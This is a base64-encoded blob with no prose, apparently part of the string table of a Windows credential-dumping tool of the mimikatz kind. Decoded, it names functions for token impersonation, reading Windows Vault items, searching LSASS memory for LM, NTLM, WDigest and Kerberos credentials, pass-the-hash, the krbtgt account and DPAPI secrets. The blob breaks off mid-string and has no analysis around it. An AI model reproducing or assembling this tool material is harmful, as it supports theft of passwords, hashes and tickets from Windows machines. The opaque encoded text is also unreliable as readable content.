QBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAE4ATwBOAF8AVgBPAEwAQQBUAEkATABFAAAAAAAAAAAAQgBPAE8AVABTAEUAUgBWAEkAQwBFAF8AQQBDAEMARQBTAFMAAAAAAFIAVQBOAFQASQBNAEUAXwBBAEMAQwBFAFMAUwAAAAAASABBAFIARABXAEEAUgBFAF8ARQBSAFIATwBSAF8AUgBFAEMATwBSAEQAAAAAAAAAQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAABUAEkATQBFAF8AQgBBAFMARQBEAF8AQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAAAAAEEAUABQAEUATgBEAF8AVwBSAEkAVABFAAAAAAAAAAAASwBpAHcAaQBFAGYAaQBWAGEAcgBpAGEAYgBsAGUAcwAAAAAAAAAAAEUAZgBpAEIAbwBvAHQAVgBhAHIAaQBhAGIAbABlAHMAAAAAAAAAAABFAHgAcABTAGUAYwB1AHIAZQBCAG8AbwB0AFYAZQBuAGQAbwByAAAAJQBzACAALQAgAAAAAAAAAHcAaABvAGEAbQBpAAAAAABEAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGkAZABlAG4AdABpAHQAeQAAAAAAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAAAAAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAB0AG8AawBlAG4AAAAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAAAAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBDAHIAZQBhAHQAZQBXAGUAbABsAEsAbgBvAHcAbgBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAAAAAABJAGQAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAAAAAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAAJQAtADEAMAB1AAkAAAAAACUAcwBcACUAcwAJACUAcwAAAAAAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAJQB1AAkAAAAgAC0APgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBkACAAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQB1AGwAdABpAHIAZABwAAAAAAAAAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAHQAcwAAAAAAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAAAAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdABjAGwAaQAAAAAAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAAAAAABWYXVsdEVudW1lcmF0ZUl0ZW1zAAAAAABWYXVsdENsb3NlVmF1bHQAVmF1bHRGcmVlAAAAAAAAAFZhdWx0R2V0SXRlbQAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAFAAaQBuACAATABvAGcAbwBuAAAAAAAAAFAAaQBjAHQAdQByAGUAIABQAGEAcwBzAHcAbwByAGQAAAAAAAAAAABCAGkAbwBtAGUAdAByAGkAYwAAAAAAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAAAAAAAAkASQB0AGUAbQBzACAAKAAlAHUAKQAKAAAAAAAAAAAACQAgACUAMgB1AC4ACQAlAHMACgAAAAAACQAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAAAAAAJAAkAUgBlAHMAcwBvAHUAcgBjAGUAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgACAAIAA6ACAAAAAAAAAAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAJQAyAHUAIAAgACAAIAAgADoAIAAAAAAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABFAG4AdQBtAGUAcgBhAHQAZQBWAGEAdQBsAHQAcwAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQBzAFwAJQBzAAAAAAAAAAAAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAYgBnAFAAYQB0AGgAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAFAASQBOACAAQwBvAGQAZQAgACAAIAAgACAAIAAgACAAOgAgACUAMAA0AGgAdQAKAAAAAAAJAAkAQgBhAGMAawBnAHIAbwB1AG4AZAAgAHAAYQB0AGgAIAA6ACAAJQBzAAoAAAAAAAAAAAAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAAAAAACQAJACAAWwAlAHUAXQAgAAAAAAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAAAAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAAAAAAAAAAAAAAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAAAAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUALgAqAHMAXAAAAAAAAAB0AG8AZABvACAAPwAKAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAABbAFUAUwBIAE8AUgBUAF0AIAAlAGgAdQAAAAAAAAAAAFsARABXAE8AUgBEAF0AIAAlAHUAAAAAAFsAUwBUAFIASQBOAEcAXQAgACUAcwAAAFsAQgBZAFQARQAqAF0AIAAAAAAAAAAAAFsAUwBJAEQAXQAgAAAAAABbAEEAVABUAFIASQBCAFUAVABFAF0ACgAAAAAAAAAAAAkACQAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAACQAJACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAAAAkACQAgACAAVgBhAGwAdQBlACAAIAAgADoAIAAAAAAAWwBUAHkAcABlACAAJQAyAHUAXQAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAADwATgBVAEwATAA+AAAAAAAAAAAAAAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBQAGUAcgBzAGkAcwB0ACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBGAGwAYQBnAHMAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsACAAOgAgAAAAAAAAAAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoAIAAlAHUACgAAAAAAAAAgAFsAJQAyAHUAXQAgAEEAdAB0AHIAaQBiAHUAdABlAAoAAAAAAAAAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAIAAgAEsAZQB5AHcAbwByAGQAIAA6ACAAJQBzAAoAAAAgACAAVgBhAGwAdQBlACAAIAAgADoAIAAAAAAAAAAAAGkAbgBmAG8AcwAAAAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAAAAAAAAAAAAAEYAaQBlAGwAZAAgADoAIAAlAHUAIAByACAAeAAgACUAdQAgAGMACgBNAGkAbgBlAHMAIAA6ACAAJQB1AAoACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABDACAAKABSACAAPQAgACUAdQApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAIABjAG8AcAB5AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAbABvAGIAYQBsACAAYwBvAHAAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAFMAZQBhAHIAYwBoACAAaQBzACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAE4AVAAgAEgAZQBhAGQAZQByAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABOAG8AIABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABpAG4AIABtAGUAbQBvAHIAeQAhAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABlAGwAZQBtAGUAbgB0AHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZgBpAHIAcwB0ACAAZQBsAGUAbQBlAG4AdAAKAAAAAAAAAGwAcwBhAHMAcgB2AAAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbgB0ADUAXwBpAG4AaQB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAKAAAAAABiAGMAcgB5AHAAdAAAAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAAAAAABCQ3J5cHRTZXRQcm9wZXJ0eQAAAAAAAABCQ3J5cHRHZXRQcm9wZXJ0eQAAAAAAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAAAAAAEJDcnlwdEVuY3J5cHQAAABCQ3J5cHREZWNyeXB0AAAAQkNyeXB0RGVzdHJveUtleQAAAAAAAAAAQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcgAAAAAzAEQARQBTAAAAAAAAAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBCAEMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQAAAAAAAAAAAE8AYgBqAGUAYwB0AEwAZQBuAGcAdABoAAAAAAAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAG0AcwB2AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABMAGkAcwB0AHMAIABLAGUAcgBiAGUAcgBvAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAHQAcwBwAGsAZwAAAAAAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABzAHMAcAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAbQBpAG4AaQBkAHUAbQBwAAAAAAAAAAAAAAAAAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAAAAAABwAHQAaAAAAFAAYQBzAHMALQB0AGgAZQAtAGgAYQBzAGgAAAAAAAAAawByAGIAdABnAHQAIQAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAABBAG4AdABpAHMAbwBjAGkAYQBsAAAAAABQAHIAZQBmAGUAcgByAGUAZAAgAEIAYQBjAGsAdQBwACAATQBhAHMAdABlAHIAIABrAGUAeQBzAAAAAAAAAAAAdABpAGMAawBlAHQAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIAB0AGkAYwBrAGUAdABzAAAAAAAAAGUAawBlAHkAcwAAAAAAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEMAYQBjAGgAZQBkACAATQBhAHMAdABlAHIASwBlAHkAcwAAAAAAYwByAGUAZABtAGEAbgAAAEwAaQBzAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABNAGEAbgBhAGcAZQByAAAAAAAAAAAAcwBlAGsAdQByAGwAcwBhAAAAAAAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAABTAG8AbQBlACAAYwBvAG0AbQBhAG4AZABzACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABjAHIAZQBkAG